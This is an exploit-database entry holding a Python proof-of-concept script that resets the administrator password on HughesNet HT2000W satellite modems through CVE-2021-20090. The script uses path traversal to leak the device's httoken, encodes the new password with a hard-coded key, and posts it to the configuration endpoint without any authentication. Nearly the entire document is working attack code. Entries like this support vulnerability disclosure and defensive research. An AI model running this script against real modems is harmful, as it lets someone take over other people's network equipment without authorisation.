HughesNet HT2000W Satellite Modem - Password Reset
Author: Simon Greenblatt
type: webapps
platform: hardware
port:
date_added: 2024-08-24
date_updated: 2024-08-24
verified: 0
codes:
tags:
aliases:
screenshot_url:
application_url:
raw file: 52073.py
type: webapps
platform: hardware
port:
date_added: 2024-08-24
date_updated: 2024-08-24
verified: 0
codes:
tags:
aliases:
screenshot_url:
application_url:
raw file: 52073.py
# Exploit Title: HughesNet HT2000W Satellite Modem (Arcadyan httpd 1.0) - Password Reset # Date: 7/16/24 # Exploit Author: Simon Greenblatt <simongreenblatt[at]protonmail.com> # Vendor: HughesNet # Version: Arcadyan httpd 1.0 # Tested on: Linux # CVE: CVE-2021-20090 import sys import requests import re import base64 import hashlib import urllib red = "\033[0;41m" green = "\033[1;34;42m" reset = "\033[0m" def print_banner(): print(green + ''' _____________ _______________ _______________ ________ ____ _______________ _______ _______________ \_ ___ \ \ / /\_ _____/ \_____ \ _ \ \_____ \/_ | \_____ \ _ \ \ _ \/ __ \ _ \ / \ \/\ Y / | __)_ ______ / ____/ /_\ \ / ____/ | | ______ / ____/ /_\ \/ /_\ \____ / /_\ \ \ \____\ / | \ /_____/ / \ \_/ \/ \ | | /_____/ / \ \_/ \ \_/ \ / /\ \_/ \ \______ / \___/ /_______ / \_______ \_____ /\_______ \|___| \_______ \_____ /\_____ //____/ \_____ / \/ \/ \/ \/ \/ \/ \/ \/ \/ \n''' + reset) print(" Administrator password reset for HughesNet HT2000W Satellite Modem") print(''' Usage: python3 hughes_ht2000w_pass_reset.py <password> <ip_address> <password>: The new administrator password <ip_address>: The IP address of the web portal. If none is provided, the script will default to 192.168.42.1\n This script takes advantage of CVE-2021-20090, a path traversal vulnerability in the HTTP daemon of the HT2000W modem to reset the administrator password of the configuration portal. It also takes advantage of other vulnerabilities in the device such as improper use of httokens for authentication and the portal allowing the MD5 hash of the password to be leaked.''') return None def get_httoken(ip_address): # Make a GET request to system_p.htm using path traversal r = requests.get(f'http://{ip_address}/images/..%2fsystem_p.htm') if r.status_code != 200: print(red + f"(-) Failure: Could not request system_p.htm" + reset) exit() # Extract the httoken hidden in the DOM and convert it from Base64 return base64.b64decode(re.search(r'AAAIBRAA7(.*?)"', r.text).group(1)).decode('ascii') def encode_pass(password): # Vigenere Cipher key = "wg7005d" enc_pass = "" idx = 0 for c in password: enc_pass += str(ord(c) + ord(key[idx])) + "+" idx = (idx + 1) % len(key) return enc_pass def change_pass(ip_address, httoken, enc_pass): # Create a POST request with the httoken and the encoded password headers = {'Content-Type': 'application/x-www-form-urlencoded', 'Referer': f'http://{ip_address}/system_p.htm'} payload = {'action': 'ui_system_p', 'httoken': httoken, 'submit_button': 'system_p.htm', 'ARC_SYS_Password': enc_pass} payload = urllib.parse.urlencode(payload, safe=':+') try: r = requests.post(f'http://{ip_address}/images/..%2fapply_abstract.cgi', data = payload, headers = headers) except: pass return None def verify_pass(ip_address, new_pass): # Make a GET request to cgi_sys_p.js to verify password httoken = get_httoken(ip_address) headers = {'Referer': f'http://{ip_address}/system_p.htm'} r = requests.get(f'http://{ip_address}/images/..%2fcgi/cgi_sys_p.js?_tn={httoken}', headers = headers) if r.text.split('"')[5] != hashlib.md5(bytes(new_pass, 'ascii')).hexdigest(): print(red + "(-) Failure: Could not verify the hash of the password" + reset) exit() def main(): if not (len(sys.argv) == 2 or len(sys.argv) == 3): print_banner() return new_pass = sys.argv[1] ip_address = "192.168.42.1" if sys.argv == 3: ip_address = sys.argv[2] httoken = get_httoken(ip_address) print(f"[+] Obtained httoken: {httoken}") enc_pass = encode_pass(new_pass) change_pass(ip_address, httoken, enc_pass) print(f"[+] Password reset to: {new_pass}") verify_pass(ip_address, new_pass) print("[+] Verified password hash: " + hashlib.md5(bytes(new_pass, 'ascii')).hexdigest()) print("[+] Password successfully changed!") return if __name__ == '__main__': main()
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